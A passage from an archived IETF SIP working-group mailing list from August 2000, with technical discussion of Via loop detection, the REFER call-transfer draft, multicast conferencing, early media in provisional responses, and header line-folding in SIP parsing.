A, B-A; and the "second", already-looped, request from Proxy A to Proxy B, A-B2. As I understand it [1], it is supposed to be Proxy B that detects the loop, by attempting to decrypt Vias. I have big trouble with this, because if Proxy A is stateful, then any ACK or CANCEL generated by Proxy A will be ambiguous in that Proxy B will be unable to determine if the ACK or CANCEL is for request A-B or request A-B2. Am I right about this? Wouldn't it perhaps be better if proxies could detect loops even if their Via had been hidden? It seems to me that recommending that the branch parameter is somehow uniquely identifiable to an instance of an implementation would enable this; say by recommending that some portion conforms to the requirements of the "tag" parameter. Then detecting loops would just require a proxy to search for any Vias that have branch parameters that look "familiar", and then performing the usual computation (to avoid flagging spirals as loops). Now comes my real dilemma. &:) Say Proxy A isn't clever with branch parameters, and thus does add another hop, A-B2, to an already-looped request. Now Proxy B can detect the loop. However, if Proxy B is stateful, should it attempt to detect the loop? To Proxy B, this request A-B2 is going to look like a retransmission of A-B based on the To, From, Call-ID, CSeq, Request-URI, and topmost-Via...but there are other Vias present. I guess what I'm asking is if a stateful proxy should be aggressive in loop detection, by checking every single request it sees, or just for "new" requests (i.e., when To, From, Call-ID, CSeq, Request-URI, topmost-Via tuple match no others). My gut feeling is that it should only check for "new" requests, because dragons be elsewhere. For instance, if Proxy B responds with a 482, and Proxy A ACKs, then the ACK is not going to be distinguishable; unless Proxy B puts some special tag in the To header, I guess. The real shame is that CANCELs are completely indistinguishable (okay, save the case that Proxy A is stateless), which is just plain unfair if Proxy B happened to fork to other places besides Proxy A. (I would note that "aggressive" loop detection by Proxy B here would help in that if it returns the 482 "quickly", it's less likely to see a CANCEL for A-B2; i.e., if a CANCEL arrives, it's more likely to be for A-B.) One other point that springs to mind: if it were recommended that branch parameters were unique, period, would that help to alleviate this problem? (I currently read 6.46.6 as requiring them just to be unique within the space of one request.) Thoughts? Cheers, - Jo. [1] Paragraph 4 of Section 6.25 in bis-01: A server that is capable of hiding Via headers MUST attempt to decrypt all Via headers marked as "hidden" to perform loop detection. Servers that are not capable of hiding can ignore hidden Via fields in their loop detection algorithm. -- Jo Hornsby; IT Professional -- mailto:jhornsby@ubiquity.net Ubiquity Software Corporation -- http://www.ubiquity.net/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 10:09:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06596 for ; Tue, 22 Aug 2000 10:09:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9F49444350; Tue, 22 Aug 2000 10:08:36 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 5A59744336 for ; Tue, 22 Aug 2000 10:08:33 -0400 (EDT) Received: from CINQUECENTO (c500355-a.plano1.tx.home.com [24.10.21.154]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id KAA12532; Tue, 22 Aug 2000 10:10:07 -0400 (EDT) From: "Robert Sparks" To: "Brett Tate" , "SIPbell-labs" Date: Tue, 22 Aug 2000 09:07:06 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-Reply-To: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> Importance: Normal Subject: [SIP] RE: draft-ietf-sip-cc-transfer-00 comments and questions Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Thanks for this effort! Responses/comments inline - >1- please specify how receiving BYE effects an > outstanding REFER. I assume that it doesn't > cancel the REFER. Should a REFER final > response of 200 be sent to immediately close the > transaction? Should a new final response > be defined to indicate the transaction is still > being processed, but I will be unable to provide > an accurate response since the call-leg is > disappearing. Short answer - no effect. I think you are asking about the case where you receive a REFER and then receive a BYE while you are processing it. While allowing REFER to be sent outside of a "session" makes this easier to think about, the sending party could send them as part of the same session. This isn't a problem for your end - you finish the REFER transaction with a final response when you can. The other side may be beyond doing anything useful with a non-200 response however. That originating side should not be overlapping the REFER and the BYE however. It should either CANCEL the REFER before the BYE or wait to send the BYE until the REFER final response comes in (note that this doesn't imply it has to tie up its user-interface during that time). > >2- please specify if two REFERs can be outstanding > on a call-leg at the same time. This would not be different from having REFERs arrive concurrently for two different call legs. > >3- please specify if the call state has to reach > a specific state before the REFER can be triggered. > I was glad to hear that REFER may not have to be > part of an existing session, but can it also be > valid during call-setup to hopefully address > location, SDP changes, or transfer during ringing? Can you elaborate on what you are wanting to accomplish here? You are wanting to change the address at which you receive media after you send and INVITE but before you receive a final response to it? > >4- please address any media mixing/switching > requirements as a result of the transferor > session still being present. Can a header > or parameter be used to better clarify the > REFER request from the transferor point of view? REFER has no effect at all on any existing session - particularly those session's media. > >5- please address how a RE-INVITE from the transferor > effects a successful REFER transaction. Again, REFER (even as it is currently written) has no afffect on the existing session - an overlapped reINVITE would not interact with it. (I assume you are describing something like putting the transferee on hold after having sent the REFER?) > >6- please specify that a CANCEL of REFER should > trigger a 487 for the REFER. OK. Was there confusion on this? As I understand it, CANCEL of _any_ cancellable method results in a 487 being returned for that method. > >7- please address how a second REFER from transferor > effects a successful first REFER from transferor. Those are independent events (even if they occur on the same call leg). > >8- What provisional response should be sent by the > transferee to indicate the REFER was received > and is being processed? The 100 cannot be used > since proxies can also send it. Do we really need something for this? 100 lets us know that it either got there or something in between has taken responsibility for getting it there. As far as the sender is concerned, it should now assume that the request is being processed and a final response will be forthcoming. I think you are asking for something back from the transferee that says "I got this and I've started to do what it says", which you can infer from the lack of a non-2xx final response. > > > >Section 5.3: > >The Content-Length header statement about being >present with value of 0 conflicts with section >5.4 concerning a body being present. Removing the >"and have a value of zero" should fix the conflict. I've removed it - it was a holdover from the original bodiless TRANSFER draft. > > >Section 6.2.1 flow: > >Can a new method/header/parameter be defined >to indicate to the Transfer target that an INVITE >from new call-leg is about to occur which will >contain a particular Referred-By. And when >received, please handle it based upon the >Request-Disposition. This would >be useful so the transferor can switch out of a >call without the transfer target having to hang up >the phone or have call waiting. This comment is >also useful for 6.2.2, 6.3, and 6.4. I would do this instead with header values in the Refer-To: URI. And from later in the document: >Please see comments on 6.2.1 as a means to avoid the >transferee from needing call waiting or a second line >for the switch to occur. [ I assume that call-ID would not >be trusted for a quick switch or mix mechanism since >it does not get encrypted. ] The signature in the Referred-By header should be used to give the referenced target the comfort you are looking for here. It is intended to give the referenced party proof of the identity of the original REFERer and integrity of the reference (i.e. the signature comes from the party issuing the REFER) - so you can trust any information you received in the headers in the Refer-To: URI to do things like quick switch you mention. From a quick scan of the document this morning, its not clear how that signature gets into the Refered-By header however. I will correct that. >Section 5.2.2 Variation 2...: > >Should be labeled "6.2.2". Fixed >The actors of Transferee and Transfer Target seem reversed. They aren't, but I can see how the shell game with the names is confusing. From a black box perspective, the Transferor is going to do things to cause the Transferee to be connected to the protected Transfer-Target. This flow shows how to do this by actually transferring the transfer-target to the transferee. RjS _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 10:11:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06651 for ; Tue, 22 Aug 2000 10:11:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A5E0444356; Tue, 22 Aug 2000 10:08:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 985C44434D for ; Tue, 22 Aug 2000 10:08:33 -0400 (EDT) Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id PAA24087; Tue, 22 Aug 2000 15:06:38 +0100 (BST) Message-ID: <39A288F6.6ED16494@ubiquity.net> Date: Tue, 22 Aug 2000 15:06:46 +0100 From: Neil Deason Organization: Ubiquity Software Corporation Limited X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] SIP Open Issues, 48th IETF SIP WG presentation Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I think I remember it being said that the slides from the 48th IETF, based on the trawl through this list's archive for open issues, were going to be made available somewhere. Is this still the plan as I couldn't find them at the SIP WG Supplemental Home Page:- http://www.softarmor.com/sipwg/meets/IETF48/slides/ Cheers, Neil. -- Ubiquity Software Corporation, UK http://www.ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 10:16:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06800 for ; Tue, 22 Aug 2000 10:16:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 814384435A; Tue, 22 Aug 2000 10:14:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id 7A87A44336 for ; Tue, 22 Aug 2000 10:14:24 -0400 (EDT) Received: from esealnt409.al.sw.ericsson.se (esealnt409.al.sw.ericsson.se [153.88.251.32]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7MEENw11128 for ; Tue, 22 Aug 2000 16:14:23 +0200 (MEST) Received: from esealnt409 ([153.88.251.32]) by esealnt409.al.sw.ericsson.se with Microsoft SMTPSVC(5.0.2172.1); Tue, 22 Aug 2000 16:14:04 +0200 Received: from esealnt400.al.sw.ericsson.se ([153.88.251.21]) by esealnt409 (NAVIEG 2.1 bld 61) with SMTP id M2000082216140311062 for ; Tue, 22 Aug 2000 16:14:03 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2651.58) id ; Tue, 22 Aug 2000 16:14:22 +0200 Message-ID: From: "Nazgol Azizi (ERA)" To: "'sip@lists.bell-labs.com'" Date: Tue, 22 Aug 2000 16:14:19 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain X-OriginalArrivalTime: 22 Aug 2000 14:14:04.0343 (UTC) FILETIME=[3A18F470:01C00C43] Subject: [SIP] SIP - videoconferencing Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, Has there been any work done on videoconferencing using SIP? If yes, where could I find some documentation about the work? Thanks, Nazgol Azizi _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 10:17:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06864 for ; Tue, 22 Aug 2000 10:17:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7C40E4435E; Tue, 22 Aug 2000 10:14:50 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by lists.bell-labs.com (Postfix) with ESMTP id 0563C44336 for ; Tue, 22 Aug 2000 10:14:47 -0400 (EDT) Received: from voicecore.com (user-38ld5rl.dialup.mindspring.com [209.86.151.117]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id KAA14305; Tue, 22 Aug 2000 10:14:35 -0400 (EDT) Message-ID: <39A2B5E0.3AAC2E75@voicecore.com> Date: Tue, 22 Aug 2000 10:18:24 -0700 From: Samir Chatterjee X-Mailer: Mozilla 4.72 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] a simple query but important.... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rahul: Many large organizations that have enterprise networks comprising of several LANs and routers typically are often not multicast enabled. To do multicasting, certain subnets and their associated routers would have to run mrouted (or some of the newer protocols PIM etc) so that multicast addressing can be understood and forwarded. To be connected to the MBONE, it is also important to set up a tunnel (IP-over-IP) to the nearest MBONE node so that intermediate routers can still forward multicast packets. Now related to your concerns about doing conferencing. If you run an MCU somewhere (assuming SIP based), then it could still mix media traffic using unicast streams and send the content to respective IP hosts who have joined a session. However, if your network is multicast enabled, then of course you gain efficiency using multicasting the content from the MCU. I am not sure if there is anything special you have to do inside the SIP stack. But your application should send packets to a multicast session address if multicasting is supported. Samir rahul pande wrote: > hello all, > just a general query that has come up. I have got to know that many > organizations who have a big LAN(i.e. consisting of various subnets attached > with routers), allow only unicast enabled routers to exist in their LAN, > because of the premonition of excess network traffic etc... In this scenario > how can i do conferencing (using multicasting and not MCU).Can i do > something at the SIP stack level(i.e. software level) or i need to ask the > network adm. to enable multicast packets also to pass through routers. Would > something like Mbone work inside the LAN(i'm not sure!!!). Please give some > insight into the above situation. > Thanking you all, > rahul. > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- *************************************************************** Dr. Samir Chatterjee Chairman & CEO VoiceCore Technologies Inc. 7001 Peachtree Industrial Blvd. Suite 406 Norcross, GA 30092. Ph: 770-246-9973 | Fax:770-326-9922 email: schatterjee@voicecore.com http://www.voicecore.com && Associate Professor Computer Information Systems Department J Mack Robinson College of Business Georgia State University Atlanta, GA 30303. Ph: 404-651-3886 Fax: 404-651-3842 schatter@gsu.edu http://www.cis.gsu.edu/~schatter **************************************************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 10:46:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07538 for ; Tue, 22 Aug 2000 10:46:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0422F4434B; Tue, 22 Aug 2000 10:45:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by lists.bell-labs.com (Postfix) with ESMTP id 0013744336 for ; Tue, 22 Aug 2000 10:45:26 -0400 (EDT) Received: from daebh01nok.americas.nokia.com (daebh01nok.americas.nokia.com [172.18.242.182]) by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7MEha029346 for ; Tue, 22 Aug 2000 17:43:37 +0300 (EET DST) Received: by daebh01nok with Internet Mail Service (5.5.2448.0) id ; Tue, 22 Aug 2000 09:40:46 -0500 Message-ID: From: Cliff.Harris@nokia.com To: sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Tue, 22 Aug 2000 09:37:59 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com On the topic of one-way vs. two-way early media: Originally, I believe, the 183 response with a session description was proposed to provide PSTN compatibility (to handle cut-through audio). If two-way early media is allowed, doesn't that break PSTN compatibility? For example, suppose I am a Q.931-to-SIP gateway. If I receive a 18x requesting a two-way media session, what message do I send on the Q.931 side to set up the two-way media path without connecting the call? In the interests of compatibility, would it not be better to disallow early two-way media? If the callee needs to listen for DTMF, it can always send a 200 OK. On the question of how to stop early media that has already been started: Again, suppose I am a Q.931-to-SIP gateway, this time carrying the Q.931 messages as SIP-T attachments. I receive a Progress message with Progress Indicator 8 from the PSTN side (after having received an INVITE and sent a Setup). The Prog. Ind. 8 means that cut-through audio is available, so I send a 183 with a multi-part attachment containing an SDP part and a Q.931 part. Then I receive a Progress message with no information about cut-through audio, but with some other progress information. I would like to send a 183 with a Q.931 attachment, and I would not like the absence of an SDP part to indicate the end of early media. True, I could always resend the previous SDP part, but to me that requires a little more effort than not having to duplicate the SDP. It would always be possible to terminate the early media by sending an SDP that explicitly specifies no media. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:14:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08147 for ; Tue, 22 Aug 2000 11:14:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0B5DA44351; Tue, 22 Aug 2000 11:13:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by lists.bell-labs.com (Postfix) with ESMTP id EF85F44336 for ; Tue, 22 Aug 2000 11:13:15 -0400 (EDT) Received: from daebh02nok.americas.nokia.com (daebh02nok.americas.nokia.com [172.18.242.183]) by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7MFDB024271 for ; Tue, 22 Aug 2000 18:13:11 +0300 (EET DST) Received: by daebh02nok with Internet Mail Service (5.5.2448.0) id ; Tue, 22 Aug 2000 10:13:10 -0500 Message-ID: From: Cliff.Harris@nokia.com To: sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Tue, 22 Aug 2000 10:07:31 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com One more point on early media: What about the handling of media attachments in unrecognized 1xx responses (184 or whatever)? Would it not solve this problem, and simplify SIP, to specify uniform handling of media attachments on all 1xx responses? (Of course, the UAS could not add an attachment to a non-end-to-end response, but the UAC wouldn't need to worry about that.) In fact, isn't this another reason for _not_ having the absence of an SDP attachment stop early media? The UAC could start/stop/modify an early media stream based on the sequence of attachments received on all 1xx responses (whether the response codes are known to the UAC or not). The receipt of a message without an attachment would not mean stop the media, it would just mean that the particular response was not relevant to early media. The UAC could handle the responses and SDP attachments completely separately (providing separation of media and signaling). For example: (1) a 1xx is received with SDP, and the UAC starts receiving early media; (2) a 1xx with no attachment is then received, and the UAC processes the response, but media are not affected; (3) a 1xx is received with an SDP specifying no media, so the UAC stops receiving early media. (It is true that semantically a 180 is different from a 183 and a UAC could ignore the SDP on a 180 with less detriment to the end user than in the case of a 183, but ignoring a media attachment would hardly be the preferred behavior; the idea is that a UAC could _choose_ to treat the SDP attachments as a set of messages completely independent from the responses proper.) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:19:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08230 for ; Tue, 22 Aug 2000 11:19:49 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 458934435A; Tue, 22 Aug 2000 11:18:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from westhost16.westhost.net (westhost16.westhost.com [216.71.84.74]) by lists.bell-labs.com (Postfix) with ESMTP id D231844357 for ; Mon, 21 Aug 2000 19:01:10 -0400 (EDT) Received: from ipunity.com (w226.z208176132.sjc-ca.dsl.cnc.net [208.176.132.226]) by westhost16.westhost.net (8.8.5/8.8.5) with ESMTP id RAA28676; Mon, 21 Aug 2000 17:55:28 -0500 Message-ID: <39A1B502.15155169@ipunity.com> Date: Mon, 21 Aug 2000 16:02:26 -0700 From: jimmy Zhang X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Bobby Sardana Cc: sip Subject: Re: [SIP] white space and SIP References: <399D4CAC.6A3BAAD@dynamicsoft.com> <399DCA41.7E9FCF29@ipunity.com> <399F3EA6.FEF91570@obsoft.com> Content-Type: multipart/alternative; boundary="------------F2C5A1F2919B6AFEF73EE05F" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --------------F2C5A1F2919B6AFEF73EE05F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sure. By using regex in Perl format, people will, first of all, be forced to understand Perl's regex. Then they will discover their old ways of parsing SIP is a total waste of time, and finally, become a smart programmer. Any questions, let me know. Bobby Sardana wrote: > Greetings: > > jimmy Zhang wrote: > >> I deeply feel that the syntax description is archaic, we should >> probably write them in perl's regex format, which should help >> parsing tremendously. > > Can you provide an example and the benefits gained by perl's regular > expression format? Also, how will the folks who have parsers in 'C' > and Java be able to benefit from this format? > > Regards, > > Bobby Sardana. > sardana@obsoft.com > >> >> >> >> Jonathan Rosenberg wrote: >> >> > Gethin Liddell wrote: >> > > >> > > For SIP to be efficient and quick, as i'm sure you'll agree it >> > must be, >> > > it MUST be possible to parse in a message with out having to >> > parse each >> > > individual header. >> > >> > Absolutely. This is what I was trying (and not at all succeeding in >> > >> > saying) when I said: >> > > so that you can detect headers without parsing the headers >> > > > themselves. >> > >> > > >> > > Ignoring the \CR and \LF, it is possible to get the structure of >> > the >> > > messages and the headers split up by looking for the combination >> > of >> > > CR, LF and white space indentation. great, this can be done >> > quickly by >> > > simple byte-by-byte comparison. >> > > >> > > This all goes out the window however when we allow, or expect, >> > that in >> > > `special cases' a `\' at the end of the line actually marks >> > another >> > > form of continuation. >> > > >> > > for example, parsing the fast, efficient, lazy way, the header: >> > > >> > > Waring: 307 foo "some info \ >> > > some more info" >> > > >> > > Will be parsed as 2 headers, with the second header being very >> > wrong >> > > and breaking everything. >> > > >> > > If we want this to be parsed properly, then from the very >> > begining we >> > > have to parse the header and understand it. >> > > >> > > So what if we don't understand it? >> > >> > I agree. In my coffee-starved state of mind I apparently believed >> > the >> > escaping would help, but it doesn't. So, I think we need to specify >> > that >> > if a CR, LF, or CRLF appears in a quoted string, these MUST be >> > properly >> > line folded. >> > >> > -Jonathan R. >> > -- >> > Jonathan D. Rosenberg 72 Eagle Rock Ave. >> > Chief Scientist First Floor >> > dynamicsoft East Hanover, NJ 07936 >> > jdrosen@dynamicsoft.com FAX: (973) 952-5050 >> > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 >> > http://www.dynamicsoft.com >> > >> > _______________________________________________ >> > SIP mailing list >> > SIP@lists.bell-labs.com >> > http://lists.bell-labs.com/mailman/listinfo/sip >> >> -- >> >> >> Jimmy zhang (jz@ipunity.com) >> >> Software Engineer >> >> > -- Jimmy zhang (jz@ipunity.com) Software Engineer --------------F2C5A1F2919B6AFEF73EE05F Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Sure.

 By using regex in Perl format, people will, first of all, be forced to understand Perl's regex. Then they will discover their
old ways of parsing SIP is a total waste of time, and finally, become a smart programmer.

Any questions, let me know.
 
 

Bobby Sardana wrote:

Greetings:

jimmy Zhang wrote:

I deeply feel that the syntax description is archaic, we should probably write them in perl's regex format, which should help
parsing tremendously.
Can you provide an example and the benefits gained by perl's regular expression format? Also, how will the folks who have parsers in 'C' and Java be able to benefit from this format?

Regards,

Bobby Sardana.
sardana@obsoft.com

 
 

Jonathan Rosenberg wrote:

Gethin Liddell wrote:
>
> For SIP to be efficient and quick, as i'm sure you'll agree it must be,
> it MUST be possible to parse in a message with out having to parse each
> individual header.

Absolutely. This is what I was trying (and not at all succeeding in
saying) when I said:
> so that you can detect headers without parsing the headers
> > themselves.

>
> Ignoring the \CR and \LF, it is possible to get the structure of the
> messages and the headers split up by looking for the combination of
> CR, LF and white space indentation. great, this can be done quickly by
> simple byte-by-byte comparison.
>
> This all goes out the window however when we allow, or expect, that in
> `special cases' a `\' at the end of the line actually marks another
> form of continuation.
>
> for example, parsing the fast, efficient, lazy way, the header:
>
> Waring: 307 foo "some info \
> some more info"
>
> Will be parsed as 2 headers, with the second header being very wrong
> and breaking everything.
>
> If we want this to be parsed properly, then from the very begining we
> have to parse the header and understand it.
>
> So what if we don't understand it?

I agree. In my coffee-starved state of mind I apparently believed the
escaping would help, but it doesn't. So, I think we need to specify that
if a CR, LF, or CRLF appears in a quoted string, these MUST be properly
line folded.

-Jonathan R.
--
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 


Jimmy zhang (jz@ipunity.com)

Software Engineer
 
-- 


Jimmy zhang (jz@ipunity.com)

Software Engineer
  --------------F2C5A1F2919B6AFEF73EE05F-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:21:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08294 for ; Tue, 22 Aug 2000 11:21:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F339544364; Tue, 22 Aug 2000 11:18:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id EC75D44370 for ; Mon, 21 Aug 2000 16:54:52 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA25189; Mon, 21 Aug 2000 16:54:52 -0400 (EDT) Message-ID: <39A1971C.EBE960FB@cs.columbia.edu> Date: Mon, 21 Aug 2000 16:54:52 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Anders Kristensen , sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP References: <399D4CAC.6A3BAAD@dynamicsoft.com> <399D69CD.651FF749@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit http://www.ietf.org/internet-drafts/draft-ietf-drums-smtpupd-12.txt http://www.ietf.org/internet-drafts/draft-ietf-drums-msg-fmt-08.txt are probably the most recent relevant documents here. If somebody can apply their text interpretation skills here and divine what's meant for this case. In those documents, CR and LF only show up as being allowed in obs-text or obs-qp, the obsolete syntax. This would suggest removing them from SIP as well. I've sent email to the editors of those documents to see if they can enlighten us. As a simple example, consider Header: "quoted string \ Subject: " -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:23:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08340 for ; Tue, 22 Aug 2000 11:23:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E55504436B; Tue, 22 Aug 2000 11:18:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com 